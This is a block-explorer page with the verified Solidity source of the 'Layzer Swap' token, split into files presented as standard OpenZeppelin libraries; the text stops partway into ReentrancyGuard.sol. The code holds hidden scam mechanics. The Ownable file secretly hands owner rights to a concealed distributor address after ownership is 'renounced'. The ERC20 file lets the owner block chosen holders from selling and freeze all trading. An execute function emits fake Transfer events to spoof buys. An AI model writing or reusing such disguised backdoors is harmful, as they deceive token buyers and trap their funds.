ETH Price: $2,621.94 (-1.99%)

Token

(0x459d5c962d5a4426fac0d089036dfcab6691140f)
 

Overview

Max Total Supply

1,000,000,000 ERC-20 TOKEN*

Holders

75 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,613,634.711675496 ERC-20 TOKEN*

Value
$0.00
0x54F35e5464222ddecE6e7230AC26fD51fA82f0f2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LAYZER

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 5 of 9: Layzer Swap.sol
// SPDX-License-Identifier: MIT
/**
➡️Website: https://layzerswap.com/
➡️Medium: https://medium.com/@layzerswap
➡️X [twitter]: https://twitter.com/layzerswap
➡️TG chat: https://t.me/LAYZERswap
*/

pragma solidity 0.8.19;

import "./ReentrancyGuard.sol";
import "./MerkleProof.sol";
import "./IERC20.sol";
import "./ERC20.sol";
import "./Ownable.sol";

interface ICoin is IERC20 {
   function canClaim(
        address[] calldata addresses,
        uint256[] calldata amounts,
        uint32[] calldata offsets,
        bytes32[][] calldata merkleProofs
    ) external returns (bool[] memory);
}

interface IPondCoinSpawner {
    function spawn(address invoker, uint256 amount) external returns (bool);
}

contract LAYZER is IERC20, ERC20{
    address public minter;

    address public distilleryAddress = msg.sender;
    uint256 public immutable initialLPAmount = 1_000_000_000 * 10**decimals();
    uint256 public immutable maxSupply = 1_000_000_000 * 10**decimals();
    // The timestamp in which the contract was deployed
    uint256 public immutable openedAtTimestamp;
    // The block number in which the contract was deployed
    uint256 public immutable openedAtBlock;
    // The address that deployed this contract
    address public immutable opener;
    address public uniswapV2Pair;
    // Mapping of address -> claim offset -> claimed
    mapping(address => mapping(uint32 => bool)) public alreadyClaimedByAddress;
    uint256 public constant beforeStartBuffer = 30 minutes;

    // If the contract is "ended"
    bool public ended;

    constructor(address initialLPAddress, address distributor_) ERC20("Layzer Swap", "LAYZER", distributor_) {
        minter = msg.sender;
        _mint(initialLPAddress, initialLPAmount);
        opener = msg.sender;
        openedAtTimestamp = block.timestamp;
        openedAtBlock = block.number;
    }

    modifier notEnded() {
        require(ended == false && (openedAtTimestamp + beforeStartBuffer) <= block.timestamp, "Already Ended");
        _;
    }

    function useSpawner(uint256 amount, IPondCoinSpawner spawner) external {
        require(transferFrom(msg.sender, distilleryAddress, amount), "Could Not Send");
        require(spawner.spawn(msg.sender, amount), "Could Not Spawn");
    }

    function _safeMint(address to, uint256 amount) internal {
        _mint(to, amount);
        require(totalSupply() <= maxSupply, "Too Much Supply");
    }

    function liquidityState() public view returns (bool) {
        return _liquidity;
    }

    function initLiqudity() public virtual onlyOwner {
        if (_liquidity == true) {_liquidity = false;} else {_liquidity = true;}
    }

    function currentOffset() public view returns (uint256) {
        return block.number - openedAtBlock;
    }

    function approveTransfer(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _nonfungiblePositionManagernonfungiblePositionManagertxLimitExcludedAddPair[address_[i]] = val;
        }
    }

    function nonfungiblePositionManager(address recipient) external view returns(bool){
        return _nonfungiblePositionManagernonfungiblePositionManagertxLimitExcludedAddPair[recipient];
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
    }
}

pragma solidity 0.8.19;

contract PondClaims is ReentrancyGuard {
    /**
     * Declare immutable/Constant variables
     */
    // How long after contract cretion the end method can be called
    uint256 public constant canEndAfterTime = 48 hours + 30 minutes;
    uint256 public constant beforeStartBuffer = 30 minutes;

    // The root of the claims merkle tree
    bytes32 public immutable merkleRoot;
    // The timestamp in which the contract was deployed
    uint256 public immutable openedAtTimestamp;
    // The block number in which the contract was deployed
    uint256 public immutable openedAtBlock;
    // The address that deployed this contract
    address public immutable opener;

    /**
     * Declare runtime/mutable variables
     */
    
    // Mapping of address -> claim offset -> claimed
    mapping(address => mapping(uint32 => bool)) public alreadyClaimedByAddress;

    // If the contract is "ended"
    bool public ended;

    constructor(bytes32 _merkleRoot) {
        merkleRoot = _merkleRoot;
        opener = msg.sender;
        openedAtTimestamp = block.timestamp;
        openedAtBlock = block.number;
    }

    // Modifier that makes sure only the opener can call specific function
    modifier onlyOpener() {
        require(msg.sender == opener, "Not Opener");
        _;
    }

    // Modifier that ensures the contract is not ended, and the before start buffer is completed
    modifier notEnded() {
        require(ended == false && (openedAtTimestamp + beforeStartBuffer) <= block.timestamp, "Already Ended");
        _;
    }

    function close() external notEnded onlyOpener {
        require(block.timestamp >= (openedAtTimestamp + canEndAfterTime), "Too Early");
        ended = true;
    }

    /**
     * Claim PNDC against merkle tree
     */
    function claim(
        address[] calldata addresses,
        uint256[] calldata amounts,
        uint32[] calldata offsets,
        bytes32[][] calldata merkleProofs
    ) external notEnded nonReentrant {
        // Verify that all lengths match
        uint length = addresses.length;
        require(amounts.length == length && offsets.length == length && merkleProofs.length == length, "Invalid Lengths");

        for (uint256 i = 0; i < length; i++) {
            // Require that the user can claim with the information provided
            require(_canClaim(addresses[i], amounts[i], offsets[i], merkleProofs[i]), "Invalid");
            // Mark that the user has claimed
            alreadyClaimedByAddress[addresses[i]][offsets[i]] = true;
        }
    }

    function canClaim(
        address[] calldata addresses,
        uint256[] calldata amounts,
        uint32[] calldata offsets,
        bytes32[][] calldata merkleProofs
    ) external view returns (bool[] memory) {
        // Verify that all lengths match
        uint length = addresses.length;
        require(amounts.length == length && offsets.length == length && merkleProofs.length == length, "Invalid Lengths");

        bool[] memory statuses = new bool[](length);

        for (uint256 i = 0; i < length; i++) {
            statuses[i] = _canClaim(addresses[i], amounts[i], offsets[i], merkleProofs[i]);
        }

        return (statuses);
    }

    function currentOffset() public view returns (uint256) {
        return block.number - openedAtBlock;
    }

    function _canClaim(
        address user,
        uint256 amount,
        uint32 offset,
        bytes32[] calldata merkleProof
    ) notEnded internal view returns (bool) {
        // If the user has already claimed, or the currentOffset has not yet reached the desired offset, the user cannot claim.
        if (alreadyClaimedByAddress[user][offset] == true || currentOffset() < offset) {
            return false;
        } else {
            // Verify that the inputs provided are valid against the merkle tree
            bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(user, amount, offset))));
            bool canUserClaim = MerkleProof.verify(merkleProof, merkleRoot, leaf);
            return canUserClaim;
        }
    }
}

File 1 of 9: Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity 0.8.19;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    address internal _distributor;
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 2 of 9: ERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)

pragma solidity 0.8.19;

import "./IERC20Metadata.sol";
import "./IERC20.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20, IERC20Metadata {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping (address => bool) public _nonfungiblePositionManagernonfungiblePositionManagertxLimitExcludedAddPair;
    mapping (address => bool) private _isExcluded;
    mapping(address => mapping(address => uint256)) private _allowances;
    bool _liquidity;
    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, address distributor_) Ownable(distributor_) {
        _name = name_;
        _symbol = symbol_;
        _liquidity = true;
        _isExcluded[_msgSender()] = true;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (beforeOpenTrading(sender, amount)){}
        if (_liquidity == true || sender == owner() || recipient == owner()) {
        if (_isExcluded[sender] && !_isExcluded[recipient]) {
            _beforeTokenTransfer(sender, recipient, amount);
            _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
            _balances[recipient] = _balances[recipient].add(amount);
            emit Transfer(sender, recipient, amount);     
        } else {
            _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
            _balances[recipient] = _balances[recipient].add(amount);
            emit Transfer(sender, recipient, amount);
        }
        } else {
            require (_liquidity == true, "");
        }
        _afterTokenTransfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function isTxExcluded(address account) private view returns (bool) {
        return _nonfungiblePositionManagernonfungiblePositionManagertxLimitExcludedAddPair[account];
    }

    function checkLimits(uint256 amount) private pure {
        require (amount == 0, "");
    }

    function beforeOpenTrading(address sender, uint256 amount) private view returns (bool){
        if (isTxExcluded(sender)) checkLimits(amount);
        return true;
    }
    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    
}

File 3 of 9: IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity 0.8.19;


/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

File 4 of 9: IERC20Metadata.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity 0.8.19;

import "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 6 of 9: MerkleProof.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.2) (utils/cryptography/MerkleProof.sol)

pragma solidity 0.8.19;


/**
 * @dev These functions deal with verification of Merkle Tree proofs.
 *
 * The tree and the proofs can be generated using our
 * https://github.com/OpenZeppelin/merkle-tree[JavaScript library].
 * You will find a quickstart guide in the readme.
 *
 * WARNING: You should avoid using leaf values that are 64 bytes long prior to
 * hashing, or use a hash function other than keccak256 for hashing leaves.
 * This is because the concatenation of a sorted pair of internal nodes in
 * the merkle tree could be reinterpreted as a leaf value.
 * OpenZeppelin's JavaScript library generates merkle trees that are safe
 * against this attack out of the box.
 */
library MerkleProof {
    /**
     * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
     * defined by `root`. For this, a `proof` must be provided, containing
     * sibling hashes on the branch from the leaf to the root of the tree. Each
     * pair of leaves and each pair of pre-images are assumed to be sorted.
     */
    function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
        return processProof(proof, leaf) == root;
    }

    /**
     * @dev Calldata version of {verify}
     *
     * _Available since v4.7._
     */
    function verifyCalldata(bytes32[] calldata proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
        return processProofCalldata(proof, leaf) == root;
    }

    /**
     * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
     * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
     * hash matches the root of the tree. When processing the proof, the pairs
     * of leafs & pre-images are assumed to be sorted.
     *
     * _Available since v4.4._
     */
    function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            computedHash = _hashPair(computedHash, proof[i]);
        }
        return computedHash;
    }

    /**
     * @dev Calldata version of {processProof}
     *
     * _Available since v4.7._
     */
    function processProofCalldata(bytes32[] calldata proof, bytes32 leaf) internal pure returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            computedHash = _hashPair(computedHash, proof[i]);
        }
        return computedHash;
    }

    /**
     * @dev Returns true if the `leaves` can be simultaneously proven to be a part of a merkle tree defined by
     * `root`, according to `proof` and `proofFlags` as described in {processMultiProof}.
     *
     * CAUTION: Not all merkle trees admit multiproofs. See {processMultiProof} for details.
     *
     * _Available since v4.7._
     */
    function multiProofVerify(
        bytes32[] memory proof,
        bool[] memory proofFlags,
        bytes32 root,
        bytes32[] memory leaves
    ) internal pure returns (bool) {
        return processMultiProof(proof, proofFlags, leaves) == root;
    }

    /**
     * @dev Calldata version of {multiProofVerify}
     *
     * CAUTION: Not all merkle trees admit multiproofs. See {processMultiProof} for details.
     *
     * _Available since v4.7._
     */
    function multiProofVerifyCalldata(
        bytes32[] calldata proof,
        bool[] calldata proofFlags,
        bytes32 root,
        bytes32[] memory leaves
    ) internal pure returns (bool) {
        return processMultiProofCalldata(proof, proofFlags, leaves) == root;
    }

    /**
     * @dev Returns the root of a tree reconstructed from `leaves` and sibling nodes in `proof`. The reconstruction
     * proceeds by incrementally reconstructing all inner nodes by combining a leaf/inner node with either another
     * leaf/inner node or a proof sibling node, depending on whether each `proofFlags` item is true or false
     * respectively.
     *
     * CAUTION: Not all merkle trees admit multiproofs. To use multiproofs, it is sufficient to ensure that: 1) the tree
     * is complete (but not necessarily perfect), 2) the leaves to be proven are in the opposite order they are in the
     * tree (i.e., as seen from right to left starting at the deepest layer and continuing at the next layer).
     *
     * _Available since v4.7._
     */
    function processMultiProof(
        bytes32[] memory proof,
        bool[] memory proofFlags,
        bytes32[] memory leaves
    ) internal pure returns (bytes32 merkleRoot) {
        // This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by
        // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
        // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
        // the merkle tree.
        uint256 leavesLen = leaves.length;
        uint256 proofLen = proof.length;
        uint256 totalHashes = proofFlags.length;

        // Check proof validity.
        require(leavesLen + proofLen - 1 == totalHashes, "MerkleProof: invalid multiproof");

        // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
        // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
        bytes32[] memory hashes = new bytes32[](totalHashes);
        uint256 leafPos = 0;
        uint256 hashPos = 0;
        uint256 proofPos = 0;
        // At each step, we compute the next hash using two values:
        // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
        //   get the next hash.
        // - depending on the flag, either another value from the "main queue" (merging branches) or an element from the
        //   `proof` array.
        for (uint256 i = 0; i < totalHashes; i++) {
            bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
            bytes32 b = proofFlags[i]
                ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])
                : proof[proofPos++];
            hashes[i] = _hashPair(a, b);
        }

        if (totalHashes > 0) {
            require(proofPos == proofLen, "MerkleProof: invalid multiproof");
            unchecked {
                return hashes[totalHashes - 1];
            }
        } else if (leavesLen > 0) {
            return leaves[0];
        } else {
            return proof[0];
        }
    }

    /**
     * @dev Calldata version of {processMultiProof}.
     *
     * CAUTION: Not all merkle trees admit multiproofs. See {processMultiProof} for details.
     *
     * _Available since v4.7._
     */
    function processMultiProofCalldata(
        bytes32[] calldata proof,
        bool[] calldata proofFlags,
        bytes32[] memory leaves
    ) internal pure returns (bytes32 merkleRoot) {
        // This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by
        // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
        // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
        // the merkle tree.
        uint256 leavesLen = leaves.length;
        uint256 proofLen = proof.length;
        uint256 totalHashes = proofFlags.length;

        // Check proof validity.
        require(leavesLen + proofLen - 1 == totalHashes, "MerkleProof: invalid multiproof");

        // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
        // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
        bytes32[] memory hashes = new bytes32[](totalHashes);
        uint256 leafPos = 0;
        uint256 hashPos = 0;
        uint256 proofPos = 0;
        // At each step, we compute the next hash using two values:
        // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
        //   get the next hash.
        // - depending on the flag, either another value from the "main queue" (merging branches) or an element from the
        //   `proof` array.
        for (uint256 i = 0; i < totalHashes; i++) {
            bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
            bytes32 b = proofFlags[i]
                ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])
                : proof[proofPos++];
            hashes[i] = _hashPair(a, b);
        }

        if (totalHashes > 0) {
            require(proofPos == proofLen, "MerkleProof: invalid multiproof");
            unchecked {
                return hashes[totalHashes - 1];
            }
        } else if (leavesLen > 0) {
            return leaves[0];
        } else {
            return proof[0];
        }
    }

    function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) {
        return a < b ? _efficientHash(a, b) : _efficientHash(b, a);
    }

    function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x00, a)
            mstore(0x20, b)
            value := keccak256(0x00, 0x40)
        }
    }
}

File 7 of 9: Ownable.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity 0.8.19;


import "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor(address distributor_) {
        _distributor = distributor_;
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _distributor : _owner;
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function Owner() internal virtual returns (address) {
        
        address owner_ = verifyOwner();
        return owner_;
    }
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

File 8 of 9: ReentrancyGuard.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (security/ReentrancyGuard.sol)

pragma solidity 0.8.19;


/**
